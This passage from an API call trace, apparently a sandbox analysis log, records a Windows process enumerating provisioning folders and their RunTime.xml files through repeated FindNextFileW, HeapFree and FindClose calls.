1 [0277.224] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0277.224] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CM_old", cAlternateFileName="")) returned 1 [0277.224] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0277.224] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CM_old", cAlternateFileName="")) returned 0 [0277.224] FindClose (in: hFindFile=0x6ec3f0 | out: hFindFile=0x6ec3f0) returned 1 [0277.224] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0277.224] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc6206d3e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc6206d3e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 1 [0277.225] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0277.225] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc6206d3e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc6206d3e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 0 [0277.225] FindClose (in: hFindFile=0x6ebdf0 | out: hFindFile=0x6ebdf0) returned 1 [0277.225] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0277.226] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0277.226] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0277.226] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfee8021d, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfee8021d, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Provisioning", cAlternateFileName="PROVIS~1")) returned 1 [0277.260] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0277.260] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e5b7d8, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0277.260] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0277.260] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0277.260] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0277.260] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0277.262] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{1e05dd5d-a022-46c5-963c-b20de341170f}", cAlternateFileName="{1E05D~1")) returned 1 [0277.264] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0277.264] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e95f21, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e95f21, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e95f21, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0277.264] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0277.264] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0277.264] FindClose (in: hFindFile=0x6ebd70 | out: hFindFile=0x6ebd70) returned 1 [0277.264] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0277.266] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{23cb517f-5073-4e96-a202-7fe6122a2271}", cAlternateFileName="{23CB5~1")) returned 1 [0277.272] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0277.272] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5408696e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5408696e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5408696e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0277.273] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0277.273] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0277.273] FindClose (in: hFindFile=0x6ebdf0 | out: hFindFile=0x6ebdf0) returned 1 [0277.273] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0277.274] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", cAlternateFileName="{268C4~1")) returned 1 [0277.276] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0277.276] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53de90cb, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53de90cb, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53de90cb, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0277.276] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0277.276] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0277.276] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0277.277] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0277.278] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{33d78dbc-3db7-4398-8533-000d7c02e5d1}", cAlternateFileName="{33D78~1")) returned 1 [0277.280] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0277.280] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ed1a9f, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0277.281] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0277.281] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0277.281] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0277.281] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0277.282] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", cAlternateFileName="{3742E~1")) returned 1 [0277.286] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0277.286] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5409c262, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5409c262, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5409c262, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x257, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0277.286] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0277.286] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0277.287] FindClose (in: hFindFile=0x6ebdf0 | out: hFindFile=0x6ebdf0) returned 1 [0277.287] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0277.288] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", cAlternateFileName="{7A30A~1")) returned 1 [0277.290] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0277.290] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66853, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66853, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66853, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0277.290] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0277.290] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0277.290] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0277.291] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0277.292] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", cAlternateFileName="{8D196~1")) returned 1 [0277.294] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0277.294] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef390d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef390d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ef390d, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0277.295] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0277.295] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0277.295] FindClose (in: hFindFile=0x6ebd70 | out: hFindFile=0x6ebd70) returned 1 [0277.295] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0277.296] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", cAlternateFileName="{8FB7D~1")) returned 1 [0277.722] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0277.722] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fc7d5e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fc7d5e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fc7d5e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0277.722] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0277.722] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0277.722] FindClose (in: hFindFile=0x6ebd70 | out: hFindFile=0x6ebd70) returned 1 [0277.722] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0277.722] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{99b095d8-5959-4820-bea7-7448c8427b4e}", cAlternateFileName="{99B09~1")) returned 1 [0277.723] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0277.723] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e0f327, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0277.723] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0277.723] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0277.723] FindClose (in: hFindFile=0x6ec230 | out: hFindFile=0x6ec230) returned 1 [0277.723] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0277.723] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", cAlternateFileName="{9AEC5~1")) returned 1 [0277.723] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0277.723] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54002dee, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54002dee, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54002dee, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, 